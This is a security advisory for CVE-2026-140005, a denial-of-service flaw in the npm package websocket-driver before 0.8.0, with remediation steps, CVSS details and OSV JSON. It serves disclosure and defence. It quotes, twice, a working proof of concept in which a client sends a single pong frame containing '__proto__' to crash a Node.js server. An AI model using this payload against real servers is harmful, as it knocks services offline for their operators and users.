CVE-2026-140005: websocket-driver Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-9g4r-f5gq-qjrr
CVSS 7.5
CWE-754 CWE-248
Published
Advisory Summary

CVE-2026-140005 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-754: Improper Check for Unusual or Exceptional Conditions) affecting websocket-driver libraries in the npm ecosystem. The issue involves denial of service triggered by client sending a single pong frame. Remediation is available by upgrading affected packages to version 0.8.0.

CVE-2026-140005 at a Glance

CVE Identifier CVE-2026-140005
GHSA Identifier GHSA-9g4r-f5gq-qjrr
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-754: Improper Check for Unusual or Exceptional Conditions
Affected Product websocket-driver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-140005

To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

websocket-driver fixed: 0.8.0
npm install websocket-driver@0.8.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls websocket-driver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140005, inspect your project dependencies using npm:

npm ls websocket-driver

Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.0), your application is affected.

Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-754: Improper Check for Unusual or Exceptional Conditions, where the product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content. ### Details This library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below. ### Proof of concept Given a server running `websocket-driver`: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) }) server.listen(8000) ``` A client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash. ```js const net = require('net') const ws = require('websocket-driver') let driver = ws.client('ws://127.0.0.1:8000/') let tcp = net.connect(8000, '127.0.0.1') tcp.pipe(driver.io).pipe(tcp) tcp.on('connect', () => { driver.start() driver.pong('__proto__') }) ``` The client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

CVE-2026-140005 Affected websocket-driver Versions

1 component(s)
Fixed Versions:
0.8.0
Product / Package Ecosystem Affected Versions Fixed Version
websocket-driver
npm
< 0.8.0
0.8.0

References

Frequently Asked Questions

What is CVE-2026-140005?
CVE-2026-140005 is a security vulnerability in websocket-driver involving Denial of service triggered by client sending a single pong frame under CWE-754: Improper Check for Unusual or Exceptional Conditions.
Which websocket-driver versions are affected?
Affected versions include releases prior to 0.8.0 across affected packages: websocket-driver.
What version fixes CVE-2026-140005?
Upgrading to 0.8.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is websocket-driver affected?
Yes, websocket-driver is affected in releases prior to 0.8.0. Upgrade your dependency to 0.8.0 or later.
What is the CVSS score of CVE-2026-140005?
CVE-2026-140005 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-140005?
CVE-2026-140005 is classified under CWE-754: Improper Check for Unusual or Exceptional Conditions (The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.).
How can I check npm dependencies for CVE-2026-140005?
Run the dependency tree command: 'npm ls websocket-driver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9g4r-f5gq-qjrr",
  "modified" : "2026-12-01T18:19:11Z",
  "published" : "2026-12-01T18:19:11Z",
  "aliases" : [ "CVE-2026-140005" ],
  "summary" : "websocket-driver: Denial of service triggered by client sending a single pong frame",
  "details" : "### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content.\n\n### Details\n\nThis library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below.\n\n### Proof of concept\n\nGiven a server running `websocket-driver`:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n  let driver = ws.server()\n\n  driver.on('connect', () => {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () => conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash.\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet driver = ws.client('ws://127.0.0.1:8000/')\nlet tcp = net.connect(8000, '127.0.0.1')\ntcp.pipe(driver.io).pipe(tcp)\n\ntcp.on('connect', () => {\n  driver.start()\n  driver.pong('__proto__')\n})\n```\n\nThe client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-9g4r-f5gq-qjrr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140005"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/commit/b47e6e50dd13535d4d44debe367361e3af39eb82"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/websocket-driver-node"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248", "CWE-754" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:19:11Z",
    "nvd_published_at" : "2026-11-30T22:17:30Z"
  }
}